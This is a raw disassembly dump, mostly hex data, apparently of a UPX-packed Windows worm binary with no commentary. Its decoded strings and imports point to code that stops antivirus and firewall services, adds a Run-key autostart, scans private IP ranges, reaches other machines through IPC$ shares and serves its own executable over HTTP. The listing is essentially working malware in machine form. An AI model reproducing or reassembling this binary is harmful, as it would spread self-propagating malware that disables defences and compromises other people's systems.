		dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h,	0
		dd 404C1900h, 2	dup(0)
		dd 404C1200h, 100h, 0
		dd 404C0C00h, 100h, 0
		dd 404C0300h, 100h, 0
		dd 404BFC00h, 100h, 0
		dd 404BF300h, 100h, 0
		dd 404BEC00h, 100h, 0
		dd 404BE500h, 100h, 0
		dd 404BDD00h, 100h, 0
		dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h,	0
		dd 404BC800h, 100h, 0
		dd 404BC100h, 100h, 0
		dd 404BBB00h, 100h, 0
		dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h,	0
		dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h,	0
		dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h
		dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h
		dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h
		dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h
		dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h
		dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h
		dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h
		dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch
		dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h
		dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h
		dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h
		dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h
		dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh
		dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh
		dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h
		dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h
		dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah
		dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh
		dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h
		dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h
		dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh
		dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h
		dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h
		dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch
		dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h
		dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh
		dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h
		dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh
		dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch
		dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h
		dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0)
		dd 50F400h, 2 dup(0)
		dd 57F400h, 524C00h, 513800h, 2	dup(0)
		dd 583C00h, 529000h, 514400h, 2	dup(0)
		dd 584C00h, 529C00h, 515000h, 2	dup(0)
		dd 585C00h, 52A800h, 51AC00h, 2	dup(0)
		dd 58C000h, 530400h, 51D800h, 2	dup(0)
		dd 58F000h, 533000h, 520C00h, 2	dup(0)
		dd 592C00h, 536400h, 1Ah dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 2 dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 0
		dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h
		dd 74h,	62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h
		dd 7465h, 63003800h, 656E6E6Fh,	7463h, 67003B00h, 6F687465h
		dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h
		dd 656Dh, 68004600h, 736E6F74h,	69004700h, 5F74656Eh, 72646461h
		dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h
		dd 6Eh,	72004F00h, 766365h, 73005500h, 646E65h,	73005900h
		dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h
		dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h
		dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h
		dd 65646C6Fh, 74615072h, 4168h,	45008200h, 54746978h, 61657268h
		dd 64h,	4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h
		dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h
		dd 6449h, 4700F800h, 69467465h,	6953656Ch, 657Ah, 47010C00h
		dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h
		dd 65736F6Ch, 646E6148h, 656Ch,	47015500h, 69547465h, 6F436B63h
		dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h
		dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh
		dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh
		dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h
		dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h
		dd 4165h, 5201FA00h, 46646165h,	656C69h, 52020E00h, 6E556C74h
		dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh
		dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h
		dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h
		dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h
		dd 4165h, 5300FE00h, 69547465h,	72656Dh, 52000200h, 73696765h
		dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h
		dd 4165h, 54002400h, 736E6172h,	6574616Ch, 7373654Dh, 656761h
		dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h
		dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h
		dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h
		dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh
		dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h
		dd 65h,	4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h
		dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h
		dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch
		dd 756C6156h, 4165h, 52017100h,	72436765h, 65746165h, 4579654Bh
		dd 4178h, 52017400h, 6C436765h,	4B65736Fh, 7965h, 52017900h
		dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h
		dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h
		dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h
		dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h
		dd 70h,	65020A00h, 746978h, 6D025400h, 70636D65h, 79h
		dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h
		dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h
		dd 6674h, 73026F00h, 646E6172h,	73027100h, 61637274h, 74h
		dd 73027200h, 68637274h, 72h, 73028000h, 74737274h, 72h
		dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh	dup(40500000h)
		dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h
		dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh
		dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h
		dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h
		dd 4Ch,	0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h
		dd 0Eh dup(40507800h), 25h dup(0)
		dd 2000h, 0
		dd 2000h, 100000h, 2A0000h, 300000h, 480000h, 0
dword_420004	dd 0							; sub_402CB2+1Dr ...
dword_420008	dd 0		dword_42000C	dd 0							; sub_404211:loc_404234r ...
dword_420010	dd 0							; sub_40414B+11r ...
dword_420014	dd 0FFFFh						; sub_404211+B9r ...
dword_420018	dd 1							; sub_404F53+Co
byte_42001C	db 0			; DATA XREF: sub_404DE5+7r
		align 2
word_42001E	dw 0FFFFh		; DATA XREF: sub_404ED7+5o
		dd 4F2AFFFFh, 4F350040h
		db 40h,	0
word_42002A	dw 5A4Dh		; DATA XREF: sub_40523F:loc_405299o
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0C80000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 13h	dup(0)
		dd 45500000h, 14C0000h,	88F20003h, 41CAh, 0
		dd 0E00000h, 10B010Fh, 40000006h, 10000000h, 50000000h
		dd 98200000h, 60000000h, 0A0000000h, 0
		dd 10000040h, 2000000h,	40000h,	0
		dd 40000h, 0
		dd 0B0000000h, 10000000h, 0
		dd 20000h, 0
		dd 10000010h, 0
		dd 10000010h, 0
		dd 100000h, 2 dup(0)
		dd 0A0000000h, 0D80000h, 1Ch dup(0)
		dd 50550000h, 3058h, 50000000h,	10000000h, 0
		dd 4000000h, 3 dup(0)
		dd 800000h, 5055E000h, 3158h, 40000000h, 60000000h, 3A000000h
		dd 4000000h, 3 dup(0)
		dd 400000h, 5055E000h, 3258h, 10000000h, 0A0000000h, 2000000h
		dd 3E000000h, 3	dup(0)
		dd 400000h, 0C000h, 42h	dup(0)
		db  0Ah
		align 2
aInfoThisFileIs	db '$Info: This file is packed with the UPX executable packer http://'
		db 'upx.tsx.org $',0Ah,0
aIdUpx1_07Copyr	db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re'
		db 'served. $',0Ah,0
		dw 5055h
		dd 90C2158h, 0A530902h,	0A837A262h, 72695F94h, 381F0000h
		dd 70000000h, 4260000h,	7EE93800h, 4D009208h, 300905Ah
		dd 3200043Bh, 0FFFFB2C8h, 0F97F40B8h, 4C8377Fh,	0EBA1F0Eh
		dd 0CD09B400h, 4C01B821h, 73696854h, 0FDBF7020h, 6F72FFFFh
		dd 6D617267h, 6E616320h, 20746F6Eh, 72206562h, 69206E75h
		dd 534F4402h, 50ED6D20h, 646FFF60h, 0D0D2E65h, 50C7240Ah
		dd 0DBED1345h, 14CFF21h, 888A0002h, 9DE041CAh, 6010B21h
		dd 7EE90F08h, 0E022B3h,	10E018A4h, 0F9257325h, 20B6366h
		dd 604501Eh, 0C96E676h,	710341Eh, 0F65E5920h, 29E0A006h
		dd 0B2017578h, 17C6FDDh, 4D3864D8h, 37903F76h, 7865742Eh
		dd 20A22B74h, 96CB6FFBh, 41A00EBh, 65722EE0h, 0CC636F6Ch
		dd 677BECA6h, 2623FB9Eh, 107942A2h, 3703D95h, 2CDB3034h
		dd 1226669Bh, 46E22FFAh, 9A691B30h, 0B423BAEh, 5E14032Ch
		dd 0CD34D36Eh, 562C4AB2h, 4D867062h, 9C4D34D3h,	0E2D4C2AEh
		dd 59AE9AF2h, 182D0836h, 463C0728h, 69A69A69h, 786C6254h
		dd 9A69B28Eh, 0C6B49EA6h, 4D2F02E2h, 0F4CDB9D3h, 3972E0Ah
		dd 344C3C24h, 5C34D34Dh, 9A8A7C6Ah, 0D34D34DBh,	0E6CEC0AAh
		dd 59BF2EF2h, 243BA776h, 0F4031087h, 69A6E42Bh,	0CAD4A69Ah
		dd 0BAACB6C0h, 0A29A6D60h, 0D72B9098h, 7B66B27Fh, 9603E9B6h
		dd 78132F8Ah, 0FF880330h, 66D217FFh, 4F538130h,	41575446h
		dd 4D5C4552h, 6F726369h, 0E5666F73h, 74FFFFFFh,	6E69575Ch
		dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h
		dd 0FB7F6853h, 536CDB6Fh, 6528760Ch, 656A624Fh,	10447463h
		dd 6F4C7961h, 0AD6E6461h, 39477015h, 6739082Bh,	0A5FF3F4Dh
		dd 0DB6C2006h, 72617041h, 6E656D74h, 0FA6E495Ch, 53035EDFh
		dd 33023B63h, 4C430032h, 5C444953h, 0E77ED923h,	257B00BBh
		dd 2D583830h, 0FA5D3404h, 7D0361DBh, 0FCEC8323h, 0F0E89090h
		dd 0DEF75706h, 60BAFBBh, 78453759h, 7C737469h, 6046DE82h
		dd 62694CFBh, 3B797172h, 656E686Bh, 0BF6ED76Ch,	5FB5DF67h
		dd 57791B54h, 7DF60FD5h, 0B565DBFBh, 50677562h,	6CC76972h
		dd 23656765h, 7850305Ch, 642E1ED7h, 50580F2Bh, 6F114F4Ch
		dd 33D5B737h, 21727270h, 2B6261C5h, 6F667364h, 62360DECh
		dd 732E126Fh, 35CBB79h,	0B835A0DDh, 5C214964h, 64723A5Dh
		dd 8FB10B7Fh, 5F74511Ah, 5CEC1F33h, 65704F5Fh, 0FE57B218h
		dd 4478566Eh, 706E6148h, 0B5AC006Eh, 2D4D37FFh,	4B59542Dh
		dd 46475157h, 0E0A4A48h, 0F9ED6113h, 4245411Fh,	48534159h
		dd 5B25464Ch, 7B096702h, 32020EFh, 30231205h, 0B0EF7BEEh
		dd 0B3A0F32h, 1E331504h, 7FFC8360h, 4A455767h, 4A464B57h
		dd 0AB414557h, 0FE9A13BBh, 5349444Eh, 1A034452h, 0A200FF97h
		dd 0CBCB901Fh, 1FA60B6Eh, 91218D0Fh, 0A4BCB921h, 31232319h
		dd 6D253525h, 0D97FD3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 57740150h
		push	24h
		dec	ch
		imul	ch
		adc	eax, 8D1E112Ch
		inc	ebp
		lock push eax
		or	[eax], ebp
		movzx	eax, word ptr [ebp-6]
		push	eax
		mov	esi, ds:74F3CF20h
		iret
; ---------------------------------------------------------------------------
		db 0Ah,	0FCh, 50h
		dd 0F6F8FE04h, 0FB9B66F4h, 858D50F7h, 0F0755B78h, 3826C068h
		dd 36CD10D6h, 0B017ECBBh, 14B468FEh, 0B76A0C4Fh, 4FB7F1Dh
		dd 0F9F75999h, 0C283DC5Fh, 2A505205h, 345DD60Ch, 73BDCC10h
		dd 38C4832Fh, 68502715h, 3B8129B0h, 5B7776DBh, 80A0BF8Fh
		dd 12285750h, 5214220Fh, 647736Eh, 373015A4h, 7D330876h
		dd 1766E6B0h, 6A2C310Bh, 0D8986809h, 0C9ECE761h, 28458830h
		dd 66FDDB9Fh, 7909372Fh, 68234068h, 77866E02h, 606C986Eh
		dd 0C95E5F12h, 0AEF22C3h, 18E11BEFh, 0A91D8B53h, 0FF336726h
		dd 0EFFC7D89h, 0FFFCFF0Ah, 10C083D3h, 312C8950h, 0F08BDC1Ch
		dd 0FF73B59h, 0EFDB2384h, 6A4937BAh, 3AE4680Ah,	21D1756h
		dd 468D056Ah, 0DFB7F00Fh, 0F817B16h, 0D3B41859h, 0F467640h
		dd 730FED6Ch, 570C1509h, 24122068h, 3FFB1475h, 0C73BDED9h
		dd 18090E75h, 0EB026A04h, 0F84D8D23h, 1337F351h, 111CB3DBh
		dd 5E2A2BF8h, 0C2105021h, 823B6EEDh, 5803FA08h,	840A13E9h
		dd 0DD77FB62h, 300068F7h, 4C2E5783h, 3BD88B1Fh,	687D74DFh
		dd 3AD95C14h, 10481BB7h, 0B70A0468h, 60440EF4h,	6ABFBB6Fh
		dd 58F88BF6h, 2B58F868h, 3F45AC3h, 0C28D16F8h, 89F1F4BFh
		dd 0CB2BC87Eh, 4689C103h, 7E22210Bh, 0E10DB86Eh, 23B05356h
		dd 33E81040h, 0EC6FEEF6h, 0F43C2DFh, 56535056h,	8C3C1656h
		dd 770974C6h, 9B8D17EEh, 0C710EB38h, 7EB0431h, 0ECDF3508h
		dd 1A250699h, 7D8B0711h, 6A1611Bh, 51615B60h, 0F605746h
		dd 66DF8E31h, 61FC96BBh, 0AF0F5424h, 0EB4A31Ch,	75FFFFDEh
		dd 0B907A121h, 35247621h, 7BFBC069h, 0C82B7F7Ch, 0C2126851h
		dd 2BD998EDh, 0D0F71D58h, 2D2474BFh, 0C7DCF6FBh, 155CC701h
		dd 500CA756h, 6BCC033h,	0CA1DD33h, 0A1609A6Bh, 1A3B6C5Dh
		dd 0D956D913h, 641A206Ah, 9D8DB438h, 0A2F0DE08h, 0B73816ECh
		dd 3019D866h, 0F8C3522Eh, 0DA1B6B02h, 0E10C7DBh, 106A1301h
		dd 0E9B3D537h, 14FCAD99h, 284BC610h, 0CD73A702h, 0FDD8780Dh
		dd 7C514104h, 7A799D23h, 13E01511h, 59B5E078h, 44CF1F92h
		dd 0DB541112h, 0ED372E9h, 83F08B74h, 3902F74h, 5B64D9E8h
		dd 0A0567832h, 9D351270h, 6C572119h, 1F5E681Bh,	8986EF8Dh
		dd 0DB33537Dh, 64405357h, 6FBDEE90h, 5B83E70Bh,	0BE566C74h
		dd 0BF6AA218h, 538C6667h, 890F087Fh, 575015B5h,	3FD2D3ECh
		dd 74C0858Ah, 67849F36h, 0E19939D6h, 74766CE6h,	84202613h
		dd 71E3EB15h, 5B359BE1h, 895BFC14h, 0FC6157D9h,	5E3FB067h
		dd 5B5FC38Bh, 5D8B048Dh, 53575608h, 0FDBEB7FEh,	3D66590Eh
		dd 3F76C88Bh, 3C80D144h, 0D745C1Ah, 0FF6DC181h,	151FAF6Fh
		dd 0EBEC77C9h, 3B664101h, 1B2373C8h, 0BE17FFC9h, 6DF002B4h
		dd 1778F12Bh, 8148DC5h,	1A148A47h, 61059488h, 6D7B6376h
		dd 7E6DC718h, 0C62F7AEBh, 90A618B7h, 245C644Ch,	0AF9D560Ch
		dd 57FFDDB7h, 10247C8Bh, 197EDB85h, 2EAB0A6Eh, 7D1A6AC0h
		dd 0FFFEE678h, 8861C280h, 3B463E14h, 80E77CF3h,	32001F24h
		dd 2C02109Fh, 8FFFF8ECh, 84D8B0Ch, 0D895648h, 777550BCh
		dd 237BF0C6h, 0A151930Bh, 536FF898h, 0B0B64F84h, 0FC1BDA0Bh
		dd 2404C711h, 7B01C75Ch, 59D676F6h, 2E7559D7h, 13546815h
		dd 0B37ECBF0h, 93B4E1Ah, 4080B27h, 0E1610CEBh, 68F1BDAFh
		dd 0A929193Ch, 505959E0h, 95F7C358h, 0CC27027h,	1703189Bh
		dd 0B3637289h, 6801FB3Dh, 0D1261294h, 3DA88F59h, 85BD95B7h
		dd 1FE934Fh, 0BF5D940Eh, 64C9C9ADh, 7B575D9Ch, 7C9DF8F0h
		dd 30BB6D93h, 9F6880A5h, 0B44EB1E1h, 0C0A359CDh, 0ACA43F00h
		dd 315F5F7Bh, 12353C7Ch, 960C7024h, 4505B36Eh, 0E564BFA0h
		dd 5A786657h, 6DB755A0h, 9B9C2613h, 5FDB93Dh, 0E8E6EBEBh
		dd 34680CFCh, 6CC7580Ah, 7B167716h, 2733756Ah, 5F17E15Dh
		dd 0E804F7E3h, 0E69FD8CDh, 0A2F18B76h, 0C79CFC18h, 41135006h
		dd 0E3998C65h, 196A1A1Dh, 0B60514C0h, 26108D66h, 1F20B710h
		dd 57816E74h, 257126Dh,	6F09B0C3h, 0D7611EB5h, 0B7518C8h
		dd 2DC05935h, 147E89FFh, 57571CEBh, 0AC470957h,	3EB799BEh
		dd 99741446h, 16012046h, 5FC68B1Ch, 0C6D77F68h,	6283568Dh
		dd 44F6420Fh, 20010824h, 11DB66D8h, 1D5920D6h, 3DA21B5Eh
		dd 0FB59BB6Fh, 9D5C8BEAh, 74037468h, 0DB768BD7h, 14ED95A3h
		dd 5609F685h, 752A6146h, 0B7F6FB7Fh, 0F03BDF1Ch, 718D0375h
		dd 8318515Bh, 392527FAh, 6752045h, 0FDB035B2h, 5104C183h
		dd 20D003EBh, 14021847h, 0D674B3F5h, 4552AF10h,	1CC25DB4h
		dd 0D8055EB6h, 7AC4B870h, 0E510E41Ah, 4FF42BEh,	20C46818h
		dd 896A9A7Ah, 0CED8C847h, 86A00E4h, 0D8C8CC18h,	0C4202BD8h
		dd 4C351016h, 0D03211D9h, 0B08D18D4h, 0B2C1A05h, 0D81B6914h
		dd 8E7C1D19h, 0A04514h,	565E5308h, 12CC170Ah, 4D61605Eh
		dd 660BB8FCh, 940AC604h, 83ABC040h, 0DDEDC0B3h,	21170BDh
		dd 0EA8B0575h, 12CB3CEBh, 0C187CD06h, 6810AFBCh, 1A8A53A4h
		dd 36276FCh, 3931EB76h,	0BA5D0C7Dh, 191E05D2h, 2EB17D0h
		dd 5BB81EE0h, 30F6DD6Bh, 8D00575Fh, 0DC91AE71h,	344AC57Eh
		dd 0E942189h, 6DAE08C2h, 0BF98F138h, 78570880h,	12DB098Eh
		dd 85E8BEFh, 2F0C331h, 74C3FDF4h, 7449205Ch, 0C7C82C14h
		dd 0A2659BA1h, 7AC4660Dh, 5C68DD4Ah, 4D6D46E2h,	510CEFE8h
		dd 63FFBA4Fh, 0FC26F135h, 0C01BD8F7h, 5FC2456h,	9B5071E4h
		dd 6FC5D483h, 0E59518A8h, 0B36AC503h, 0FFB191B7h, 753BC445h
		dd 93C0940Fh, 1F068FB6h, 4A3EF9D9h, 0B18BCC26h,	4D17DE35h
		dd 6895910h, 0CFA69106h, 0B986F977h, 8A040883h,	1010E04h
		dd 5D270C46h, 106D78FBh, 7AD518E7h, 534244C7h, 76398D9Dh
		dd 0F66AD943h, 57465945h, 0B2436206h, 3D06CB3Eh, 2B6DF6AAh
		dd 0B54CB46Ch, 89630CC9h, 4B565F01h, 5DDC6214h,	418B4C5Bh
		dd 0B455A420h, 314CDED6h, 3F6856E1h, 5D00A4CFh,	88661647h
		dd 5741415h, 336CEB67h,	0A6278CDCh, 1DA9AAh, 9C1B6332h
		dd 0F5E6803h, 2F6DB804h, 66602061h, 573B60Fh, 0BB648AFBh
		dd 9897785Eh, 1261C10Bh, 52135868h, 0FBC228D0h,	0A1642E21h
		dd 25896408h, 0C7CEA307h, 0D22CDDC6h, 0A5E86589h, 27240C29h
		dd 7BD757F4h, 30BBBB0h,	0F86850C3h, 0B76CC0Ah, 4014E4B4h
		dd 0E12E0F40h, 0B916D170h, 0AF3861E0h, 0A9522B34h, 6BFBF192h
		dd 9B6990B3h, 94DC1AFAh, 85930D9Bh, 4390A153h, 5B4F9493h
		dd 16F8B6EBh, 42392FE4h, 45F7DB08h, 0DA2DC0BFh,	7C5B3BC8h
		dd 201E7C80h, 44C60573h, 6FE25A6Dh, 0EB402E06h,	1F76FFE9h
		dd 0E0757546h, 86E1BC3h, 0E00381AEh, 0B9616480h, 3105BAB1h
		dd 4D450CCh, 0A6DDA60Ch, 1D5FA246h, 50DA1E08h, 0CF3CD804h
		dd 0D4D63CF3h, 9ED2CECCh, 46D979E7h, 746B60Ah, 6A040506h
		dd 18F9EF9Eh, 2040308h,	53B60601h, 6A716023h, 58859215h
		dd 0E8130340h, 98C95790h, 0BF723EC4h, 0C49A8598h, 50AE2350h
		dd 6B6F683Fh, 21D00ADCh, 59504208h, 623E3786h, 0C483D911h
		dd 0D20EEBFFh, 0C2BE1696h, 0C758BC3h, 0F185598Bh, 37D3D907h
		dd 0CF1CBEFAh, 0E07D83h, 160EE070h, 96841A46h, 0B4F072CCh
		dd 8A70F20Dh, 0D8FBCE71h, 0C9F0F468h, 0C8833811h, 0CDF6ABFFh
		dd 9FA17C2Ch, 3B0C55C0h, 0D7992D6h, 0B42E9EA5h,	1DE677FCh
		dd 7AF286E4h, 0BB4BFFFFh, 0CE8B135Eh, 0CA3BDCA6h, 48A2973h
		dd 0C0458839h, 972303Ch
		dd 1D73393Ch, 7D778F4Dh, 0D6AC0F8h, 74B84B0Ah, 8BE4797Fh
		dd 6EBD8F1h, 0FD0EB41h,	28850F39h, 0BD1FEDBCh, 3BF64A8Dh
		dd 5C1548F1h, 0DFFFFD73h, 8D0088D1h, 0C13B144Eh, 0C23B2A7Dh
		dd 0C8A2673h, 0BC4D8838h, 9A2DF980h, 0A53B6B1h,	0C9595404h
		dd 37DBDB77h, 253075DBh, 65830409h, 391000D4h, 0AFA0D44Dh
		dd 76DED966h, 3B568DBFh, 8A1F75C2h, 0D8E8B838h,	80C9A78h
		dd 43A41905h, 0D8CC36C1h, 0D4ADF8D6h, 5181802Eh, 3C62D0F6h
		dd 8D0B0211h, 77770CD0h, 8D020FD8h, 1B503E04h, 3E440E02h
		dd 639E0F02h, 46D0498Ch, 5C1180D3h, 8D00AD8h, 83C40B12h
		dd 37B704C8h, 5C24AEEh,	0C40A7F32h, 4057C01h, 895D7E0Ch
		dd 0A1A06237h, 6E31043Eh, 5AD40506h, 7530E6ECh,	74310607h
		dd 30032C18h, 97AD1B0Bh, 6846D709h, 6D4A10D8h, 921418BBh
		dd 0EA76E00Ah, 30A10B84h, 0C3C3C588h, 0E4239098h, 9CDB5878h
		dd 0C5691967h, 5DB3D35Dh, 3C80FDB0h, 662E9EBFh,	2F4F048Bh
		dd 7E10F2A0h, 0D7C35B9h, 0E33A097Fh, 0C33BC475h, 5321C972h
		dd 61505BCBh, 2E5335BBh, 470C572Ah, 7EC59C62h, 7CB2BF08h
		dd 75EB590Eh, 75CB3BC9h, 2CB0D332h, 5D5D974Ch, 0B34DEFC6h
		dd 753DBF74h, 98479124h, 0B1640C10h, 9DCB3043h,	0C26F3394h
		dd 0CBBBC3E9h, 0BE4C5306h, 1966900Bh, 4CACC84h,	5FF2C477h
		dd 770465C2h, 0C483DA04h, 6A535330h, 0DF074C0Ah, 0FF0CACD6h
		dd 20AB5325h, 0CE46497Ah, 27CCB815h, 0D91BD9AFh, 1EA8E4AAh
		dd 9037D90Ch, 0A48D91h,	0F3A3A8A8h, 66F1A36Fh, 857C83h
		dd 300A0710h, 304B0875h, 310CEC3Ch, 9E0F75BEh, 11C847FFh
		dd 885216C8h, 394AE60h,	6EB7FA26h, 5CFD4B46h, 6212ECEBh
		dd 57C33DC8h, 0C58B7D68h, 6177E80h, 0CE6D423Ah,	196D866Dh
		dd 0F51A1CA5h, 29C11E05h, 936CD263h, 24D00C22h,	0D6FABE8h
		dd 2B365EFEh, 9B3003F3h, 56EED1B8h, 6DAFC116h, 0C60E16F0h
		dd 140A0DFFh, 0B472B54Ah, 6F202A2Ah, 50B33709h,	903722A8h
		dd 11740BF0h, 28D1BF6Eh, 2B990F39h, 0EF8D1C2h, 56B1027Eh
		dd 0F923EB63h, 0AB2C0D33h, 0D1CB7615h, 0F9D10F6Fh, 5F70818Dh
		dd 66057E27h, 0E9A17FB7h, 0AC16EBACh, 3B0279FEh, 4173B87Dh
		dd 2D2BB8F8h, 0EC1342F6h, 1F04AD90h, 2D726750h,	3DBC4B6h
		dd 0D19015F7h, 55C7D8E8h, 0F336DB19h, 165543A3h, 6F470B0Eh
		dd 1EDF647Dh, 3BF07FFFh, 8D067CF7h, 0BAEB017Eh,	0A4C7814Fh
		dd 0FE3BA6E2h, 0FC1E0473h, 0F78BD5B6h, 0FC5F4EACh, 0AC752B00h
		dd 90A17622h, 24A30Ch, 0A6040789h, 0A4FB5CD9h, 0F5044789h
		dd 0C80807F9h, 528512B4h, 98A7A9CBh, 1A3721C0h,	1047322Bh
		dd 0BA10B110h, 0C7448E95h, 0D527A1A5h, 4582AA32h, 186E401Dh
